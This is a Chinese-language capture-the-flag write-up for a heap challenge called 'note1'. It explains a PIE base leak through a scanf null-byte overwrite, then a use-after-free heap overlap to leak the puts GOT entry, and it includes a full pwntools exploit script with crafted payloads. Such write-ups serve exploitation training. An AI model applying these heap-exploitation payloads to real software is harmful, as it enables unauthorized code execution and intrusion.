# pwn1 note1
# 1. 程序分析
64 位程序,发现保护全开了
~~![](/2022picture/1.png)~~
# ida 查看一下:
main:
~~![](/2022picture/2.png)~~
v3=1时:
这里发现对于输入的 tag 始终是在 先
创建的 0x20 的 chunk 中,而对于 name 的 chunk 是 tag 的下一个;并且这里发现 func1、2、3 没有任何区别
v3=2时:
看到这里对 name
、 tag
、 func
都可以重新编辑了
v3=3时:
这里的 qword_4050[v6]
为什么是输出了 tag 和 name 并不太明白,gdb 调试时发现是这样的,并且其他地方调用的 func 也是运用了 qword_4050[]
这个
# 2. 漏洞分析:
由于该程序开启了 pie,那么我们需要先泄露一个地址,然后计算出基地址
这里首先我创建了两个堆块,然后查看一下堆块的内部情况
id=0,name_length=64,name=aaa,tag=bbb,fun=1
id=1,name_length=64,name=bbb,tag=dddd,fun=1
这里也能看出来,tag 的 chunk 位置是在上面,而 name 的 chunk 在下面,而我们输入的内容的后面的地址存入的值类似于地址(黄色框内), 查看一下:
发现是代码段:
而我们知道 pie 是页对齐的,低几位的地址是固定的,在 ida 中发现了其偏移为 0x131B
:
由此我们能够算出基地址为 base=leak_addr-0x131B
因此我们需要泄露这个地址,而我们在 new 函数中编辑 tag 是通过 fgets
(读入输入的数据后会在末尾添加 "\x00",加入限定输入 8 个,则会将输入的第 8 个变成 \x00
)
,但是在 edit_tag
里是用的 scanf
(只有遇到空白符才会停下,在输入的字符串结尾加入 \x00
)
而后面的地址是 func1
的,所以他会将 func1
的地址的最低位变成 \x00
# 泄露代码段基址:
上面我们已经知道了 scanf 的特殊处,【在我的理解里我们输入 8 个字符后它会将后面的函数地址的 低字节
给改成 \x00
代表前面的字符串输入完成,所以我们需要修改 func
来重新载入地址,使能够连带着输出 func
地址】
new(0,64,b"a",b"b",1) | |
edit_tag(0,b"a"*8) | |
edit_func(0,1) | |
call(0) | |
#p.recvuntil ("tag: \n")# 这里这样会报错 | |
p.recvuntil("aaaaaaaa") | |
text_base=u64(p.recv(6).ljust(8,b'\x00'))-0x131B//这里是以小端序输出的所以这样接收 | |
log.info("text:"+hex(text_base)) | |
gdb.attach(p) | |
pause() | |
new(1,64,b"a",b"b",1)#在这里没作用 |
这里用 u64(p.recv(6).ljust(8,b'\x00'))
接收,下面的图里可以发现是小端序的格式( 0a
是换行符):
# 得到了基地址(pie)来计算 got
表的函数地址并泄露
起初想的是通过上面的泄露方式将 put_gots 的地址输入进去然后泄露出来:
payload1=b"a"*8+p64(puts_got) | |
edit_tag(0,payload1) | |
p.recv(b"aaaaaaaa") | |
puts_got=u64(p.recv(6).ljust(8,b'\x00')) |
但是仍然无法实现
不过前面发现 edit_name 有个 free,但是指针却没有置 0,所以我们可以进行 堆重叠
通过 edit_name 将 id 为 0 的 chunk 大小改为 0x20,接着申请一个 chunk(此时申请的 chunk 会存在于最开始的 chunk0 的空间)最后再将第一个 chunk 的修改回去,这样就能够覆盖到下一个 chunk(也就是溢出到第二个 tag
所产生的 chunk),bk 修改成 puts_got 的地址,然后再通过上面的方式进行泄露
来仔细探究一下 tag
的 chunk
的构造
在上面的图里就能发现 tag
内容对应的是 a1
,而 name
对应的是 a1+16
,正好和 func 里的对应,并且 tag 后
存放的是 func
的地址,会调用该函数,然后去将前面地址内的 tag
直接当作内容(对应 char * a1
),后面的作为地址,去 取其地址中
的值(对应 char ** a1
)
而我们知道 got表
内存放的是函数的真实地址,所以我们通过 got
的地址来泄露真实地址,那么我们就需要通过 name
这来利用 地址寻找内容
泄露(所以才不能用 tag 泄露)
from pwn import * | |
from LibcSearcher import * | |
context.log_level = 'debug' | |
#p=remote('node4.buuoj.cn',25727) | |
p=process("./note1") | |
libc=ELF("./libc.so.6") | |
e=ELF("./note1") | |
#write_plt=e.plt["write"] | |
#read_plt=e.plt["read"] | |
def new(index,name_length,name,tag,fun): | |
p.sendlineafter("> ","1") | |
p.sendlineafter("id: ",str(index)) | |
p.sendlineafter("name_length: ",str(name_length)) | |
p.sendlineafter("name: ",name) | |
p.sendlineafter("tag: ",tag) | |
p.sendlineafter("func: ",str(fun)) | |
def edit_name(index,name_length,name): | |
p.sendlineafter("> ","2") | |
p.sendlineafter("id: ",str(index)) | |
p.sendlineafter("> ","1") | |
p.sendlineafter("name_length: ",str(name_length)) | |
p.sendlineafter("name: ",name) | |
def edit_tag(index,tag): | |
p.sendlineafter("> ","2") | |
p.sendlineafter("id: ",str(index)) | |
p.sendlineafter("> ","2") | |
p.sendlineafter("new tag: ",tag) | |
def edit_func(index,func): | |
p.sendlineafter("> ","2") | |
p.sendlineafter("id: ",str(index)) | |
p.sendlineafter("> ","3") | |
p.sendlineafter("func: ",str(func)) | |
def call(index): | |
p.sendlineafter("> ","3") | |
p.sendlineafter("id: ",str(index)) | |
new(0,0x500,b"a",b"b",1) | |
edit_tag(0,b"a"*8) | |
edit_func(0,1) | |
call(0) | |
#p.recvuntil("tag: \n") | |
p.recvuntil("aaaaaaaa") | |
text_base=u64(p.recv(6).ljust(8,b'\x00'))-0x131B | |
log.info("text:"+hex(text_base)) | |
#gdb.attach(p) | |
#pause() | |
puts_plt=text_base+e.plt["puts"] | |
puts_got=text_base+e.got["puts"] | |
edit_name(0,0x20,b"a") | |
new(1,0x20,b"a",b"b",1) | |
payload1=b"a"*0x20+p64(0)+p64(0x31)+b"c"*8+p64(text_base+0x131B)+p64(puts_got) | |
edit_name(0,0x20,payload1) | |
call(1) | |
p.recvuntil("name: ") | |
puts_got=u64(p.recv(6).ljust(8,b'\x00')) | |
log.info("text:"+hex(puts_got)) | |
gdb.attach(p) | |
pause() | |
new(1,64,b"a",b"b",1) | |
p.interactive() |